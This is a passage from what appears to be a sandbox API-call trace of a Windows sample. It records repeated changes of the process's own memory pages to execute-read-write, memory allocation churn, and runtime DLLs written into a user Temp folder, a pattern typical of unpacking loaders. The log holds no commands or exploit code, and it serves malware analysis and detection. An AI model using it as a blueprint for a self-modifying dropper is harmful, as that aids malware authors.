BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.401] WriteFile (in: hFile=0x44, lpBuffer=0x1f361888*, nNumberOfBytesToWrite=0x233d0, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f361888*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x233d0, lpOverlapped=0x0) returned 1 [0149.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.405] CloseHandle (hObject=0x44) returned 1 [0149.407] VirtualFree (lpAddress=0x1f364000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0149.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.409] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x2000, flProtect=0x1) returned 0x1e8e0000 [0149.409] VirtualAlloc (lpAddress=0x1e8e0000, dwSize=0x3c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8e0000 [0149.409] VirtualAlloc (lpAddress=0x1e804000, dwSize=0xdc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e804000 [0149.428] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x1c000, dwFreeType=0x4000) returned 1 [0149.429] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f361888, cbMultiByte=12, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="ucrtbase.dllrt-utility-l1-1-0.dllllll.dll.dll") returned 12 [0149.429] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/ucrtbase.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0149.429] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x2000, flProtect=0x1) returned 0x1fde0000 [0149.429] VirtualAlloc (lpAddress=0x1fde0000, dwSize=0x114000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fde0000 [0149.432] VirtualAlloc (lpAddress=0x1fddc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fddc000 [0149.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.450] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.451] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.451] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.451] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.452] WriteFile (in: hFile=0x44, lpBuffer=0x1fddbb5c*, nNumberOfBytesToWrite=0x116d38, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1fddbb5c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x116d38, lpOverlapped=0x0) returned 1 [0149.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.476] CloseHandle (hObject=0x44) returned 1 [0149.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.495] VirtualFree (lpAddress=0x1fde0000, dwSize=0x114000, dwFreeType=0x4000) returned 1 [0149.501] VirtualFree (lpAddress=0x1fddc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.501] VirtualFree (lpAddress=0x1fde0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.506] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0149.507] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x3c000, dwFreeType=0x4000) returned 1 [0149.509] VirtualFree (lpAddress=0x1e800000, dwSize=0xe0000, dwFreeType=0x4000) returned 1 [0149.513] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.514] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd05fec, cbMultiByte=16, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="vcruntime140.dlltility-l1-1-0.dllllll.dll.dll") returned 16 [0149.514] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.515] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/vcruntime140.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0149.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.522] VirtualAlloc (lpAddress=0x1e7fc000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7fc000 [0149.523] VirtualFree (lpAddress=0x1e7f8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.524] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.525] WriteFile (in: hFile=0x44, lpBuffer=0x1e7fc00c*, nNumberOfBytesToWrite=0x14748, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1e7fc00c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x14748, lpOverlapped=0x0) returned 1 [0149.527] CloseHandle (hObject=0x44) returned 1 [0149.529] VirtualFree (lpAddress=0x1e7fc000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0149.530] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.530] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0149.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.531] VirtualFree (lpAddress=0x1fcf4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.531] VirtualFree (lpAddress=0x1fcf8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.531] VirtualFree (lpAddress=0x1fcfc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.532] VirtualFree (lpAddress=0x1fd00000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.532] VirtualFree (lpAddress=0x1fd04000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.532] VirtualFree (lpAddress=0x1fd08000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.533] VirtualFree (lpAddress=0x1fd14000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.533] VirtualFree (lpAddress=0x1fd18000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.533] VirtualFree (lpAddress=0x1fd1c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.533] VirtualFree (lpAddress=0x1fd20000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.534] VirtualFree (lpAddress=0x1fd24000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.534] VirtualFree (lpAddress=0x1fd28000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0149.534] VirtualFree (lpAddress=0x1fd34000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.534] VirtualFree (lpAddress=0x1fd38000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.535] VirtualFree (lpAddress=0x1fd3c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.535] VirtualFree (lpAddress=0x1fd40000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.539] VirtualFree (lpAddress=0x1fd44000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.539] VirtualFree (lpAddress=0x1fd48000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.540] VirtualFree (lpAddress=0x1fd4c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.540] VirtualFree (lpAddress=0x1fd50000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0149.540] VirtualFree (lpAddress=0x1fd58000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.541] VirtualFree (lpAddress=0x1fd5c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.541] VirtualFree (lpAddress=0x1fd60000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.541] VirtualFree (lpAddress=0x1fd64000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.541] VirtualFree (lpAddress=0x1fd68000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0149.542] VirtualFree (lpAddress=0x1fd74000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.542] VirtualFree (lpAddress=0x1fd78000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.542] VirtualFree (lpAddress=0x1fd7c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.543] VirtualFree (lpAddress=0x1fd80000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0149.543] VirtualFree (lpAddress=0x1fd8c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.543] VirtualFree (lpAddress=0x1fd90000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0149.544] VirtualFree (lpAddress=0x1fd9c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.544] VirtualFree (lpAddress=0x1fda0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0149.544] VirtualFree (lpAddress=0x1fda8000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0149.545] VirtualFree (lpAddress=0x1fdc0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.545] VirtualFree (lpAddress=0x1fdc4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0149.546] VirtualFree (lpAddress=0x1fdd0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.546] VirtualFree (lpAddress=0x1fdd4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0149.547] VirtualFree (lpAddress=0x1f028000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0149.547] VirtualFree (lpAddress=0x1f100000, dwSize=0x50000, dwFreeType=0x4000) returned 1 [0149.550] VirtualFree (lpAddress=0x1f150000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0149.554] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.557] VirtualFree (lpAddress=0x1f178000, dwSize=0x68000, dwFreeType=0x4000) returned 1 [0149.560] VirtualFree (lpAddress=0x1f1e0000, dwSize=0x130000, dwFreeType=0x4000) returned 1 [0149.575] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.578] VirtualFree (lpAddress=0x1f310000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0149.579] VirtualFree (lpAddress=0x1f328000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0149.580] VirtualFree (lpAddress=0x50000, dwSize=0x118000, dwFreeType=0x4000) returned 1 [0149.594] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.594] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.595] VirtualFree (lpAddress=0x50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 